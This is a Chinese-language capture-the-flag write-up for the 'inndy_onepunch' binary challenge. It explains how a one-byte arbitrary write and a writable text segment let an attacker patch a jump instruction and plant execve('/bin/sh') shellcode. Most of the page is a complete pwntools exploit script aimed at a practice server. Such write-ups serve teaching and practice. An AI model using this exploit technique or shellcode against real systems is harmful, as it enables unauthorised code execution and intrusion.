inndy_onepunch(text段有時是可以修改的)

inndy_onepunch

用IDA分析一下程序,任意地址寫一個字節。

想不到的是,text段可以修改,因此,我們可以直接修改text的指令,來達到多次利用。

#coding:utf8
#想不到text段竟然可以寫
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./onepunch')
sh = remote('node3.buuoj.cn',29567)
text = 0x400767

def writeData(addr,data):
   sh.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
#通過一字節讀寫,我們修改text裏的跳轉
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
#修改jnz指令爲jmp
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00')))
shellcode = asm('''mov rax,0x0068732f6e69622f
                   push rax
                   mov rdi,rsp
                   mov rax,59
                   xor rsi,rsi
                   mov rdx,rdx
                   syscall
                ''')
shellcode_addr = 0x0000000000400769
i = 0
for x in shellcode:
   data = u8(x)
   writeData(shellcode_addr + i,data)
   i = i + 1
#跳轉到shellcode
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))

sh.interactive()

由此,查閱資料知道了,修改text段可寫,可以利用工具objcopy --writable-text來實現。因此,有時實在沒辦法,我們可以嘗試一下text段是否可寫。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章